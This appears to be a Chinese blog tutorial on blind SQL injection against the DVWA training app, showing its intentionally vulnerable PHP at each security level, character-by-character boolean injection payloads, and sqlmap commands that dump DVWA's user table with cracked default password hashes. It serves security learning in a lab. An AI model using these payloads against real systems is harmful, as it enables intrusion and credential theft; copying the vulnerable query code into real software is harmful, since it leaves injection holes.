上一篇文章谈及了 dvwa 中的SQL注入攻击,而这篇和上一篇内容很像,都是关于SQL注入攻击。和上一篇相比,上一篇的注入成功就马上得到所有用户的信息,这部分页面上不会返回一些很明显的信息供你调试,就连是否注入成功也要自己判断的,因此叫盲注。更值得留意的是盲注的思路
(盲注就让我想起了。。。许昕,中国乒乓球国手+人民艺术家。然而他400°近视,日常带眼镜,打球反而不带,球感远超常人, 人称大蟒、世界第一盲打)
要盲注的页面往往是这样的
没有很具体的错误提示,只会提示用户存在还是不存在
所以有时候攻击会不知道注入成功与否,所以攻击者有时会通过一些延时操作去判断注入是否成功,比如 如果数据库用的是 MySQL,会用 BENCHMARK 或者 SLEEP 函数。 这篇也和上一章一样的,先介绍漏洞的注入点再介绍一些注入的思路
低级
界面就是上面那图,代码也和上一篇章的几乎是一样的,输出只会是用户存在还是不存在。
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
它这里也没有做什么处理的。随便注入都行的。
- boolean 型,输入
1' or '1' = '1
- 注释型,
1' or 1=1 #
- union 型,比如输入
' UNION ALL SELECT NULL, database()#
但这样的不知道有什么作用。若想知道如何利用这样的注入点,你可以直接拉到最后看注入的流程
中级
中级就是变成下拉选择了,所以要用 burp suite,或者火狐浏览器去改。比如用火狐浏览器。
而代码中有 mysql_real_escape_string
对特殊字符等进行转义,所以就用不了 ' 或 " 之类的符号,不过它这里的代码 $id 是数字,也需要用 ' 符号。
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
}
下面展示用火狐的审查元素注入吧。这里明显可以用1 or 1=1
注入的,将 form 表单改成这样即可。
高级
高级主要是和上面的主要区别是通过迷之cookies 传参,还有个LIMIT 1
限制了条数,再有一个就是查询失败的时候会随机 sleep。
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
和上一篇文章一样,用注释就能解决LIMIT 1
的问题了。所以这样就可以了。
不可能
不可能级别和上一篇类似
- anti-token 机制防 CSRF 攻击
- 检查 id 是不是数字
- 使用 prepare 预编译再绑定变量a
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
注入的流程
一般注入的流程可能会是这样,概括起来可能就是刘欢的《千万次地问》,这里用低级代码尝试。
数据库的名字
这种页面要知晓数据库的名字也是挺麻烦,要不断地去尝试。
猜数据库名的长度
1' and length(database()) = 2 #
1' and length(database()) = 3 #
1' and length(database()) = 4 #
...
用二分法猜数据库的名字
其中 a是97,z是122
第一个字母在 a 到 m 之间吗?
输入 1' and ascii(substr(database(),1,1))>=97 and ascii(substr(database(),1,1)) <= 109 #
在
第一个字母在 a 到 g 之间吗?
1' and ascii(substr(database(),1,1))>=97 and ascii(substr(database(),1,1)) <= 103 #
在
第一个字母在 a 到 d 之间吗?
。。。
第一个字母是d吗?
1' and ascii(substr(database(),1,1))=100 #
是的
第二个字母在 a 到 m 之间吗?
1' and ascii(substr(database(),2,1))>=97 and ascii(substr(database(),1,1)) <= 109 #
不对 ...
一堆这样的操作你就知道数据库的名字是 dvwa 了。。。
所有表的名字
表的数量
数据库有一个表吗?
1' and (select count(table\_name) from information\_schema.tables where table_schema=database())=1 #
不对
数据库有两个表吗?
1' and (select count (table\_name) from information\_schema.tables where table_schema=database())=2
对的,差点就三个(代)表了
第n个表的名长度
第1个表的名长度是1吗?
1' and length(substr((select table\_name from information\_schema.tables where table_schema=database() limit 0,1),1))=1 #
第1个表的名长度是2吗?
1' and length(substr((select table\_name from information\_schema.tables where table_schema=database() limit 0,1),1))=2 #
... 结果第一个表的长度是 9 。
第n个表的名字
再用二分法去找,要考虑有 _ 之类的特殊符号。。。
第一个表的第一个字母在 a~m 之间吗?
1' and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))>=97 and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))<=109 #
。。。 最后可以得出 两个表的名字叫 guestbook,users。
表字段名
针对 users表来说
表字段的数量
users 表有1个字段吗?
1' and (select count(column\_name) from information\_schema.columns where table_name= 'users')=1 #
...
结果有 8个字段
第n个字段的长度
users 表第1个字段的长度是 1 吗?
1' and length(substr((select column\_name from information\_schema.columns where table_name= 'users' limit 0,1),1))=1 #
... 第一个字段的长度是 7
第n个字段的名字
第一个字段名字是 user_id 吗?
1' and substr((select column\_name from information\_schema.columns where table\_name= 'users' limit 0,1),1)='user\_id'
猜中了。。
第二个字段的第一个字母在 a~m 之间吗?
1' and ascii(substr((select column\_name from information\_schema.columns where table\_name= 'users' limit 0,1),1,1)) >= 97 and ascii(substr((select column\_name from information\_schema.columns where table\_name= 'users' limit 0,1),1,1)) <=109 #
...
结果是 a
猜数据
用户 admin 存在吗?
1' and (select count(*) from users where user = 'admin') = 1 #
admin 密码的第一位在 a~m 之间吗?
1' and ascii(substr((select password from users where user = 'admin' limit 1),1,1)) >= 97 and ascii(substr((select password from users where user = 'admin' limit 1),1,1)) <= 109 #
...
SQLMap
千万次地问,弄得人很烦的。还是用工具方便好,感谢自动化,感谢程序员。与上一篇文章类似。
获取所有的数据库
sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" --dbs
available databases [4]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
而我们比较感兴趣的是,dvwa 数据库。接下来想后去它的所有的表
获取 dvwa 所有的表
sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa --tables
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+
获取users表的所有字段
这里比较慢可以用多线程加速 sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa -T users --column --threads 10
Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| user | varchar(15) |
| avatar | varchar(70) |
| failed_login | int(3) |
| first_name | varchar(15) |
| last_login | timestamp |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+--------------+-------------+
获取用户及密码信息
比如是 user 和 password sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa -T users -C user,password --dump --threads 10
而且还问你是否要用密码字典爆破,简直优秀,结果如下。
Database: dvwa
Table: users
[5 entries]
+---------+---------------------------------------------+
| user | password |
+---------+---------------------------------------------+
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| admin | e10adc3949ba59abbe56e057f20f883e (123456) |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123) |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+---------+---------------------------------------------+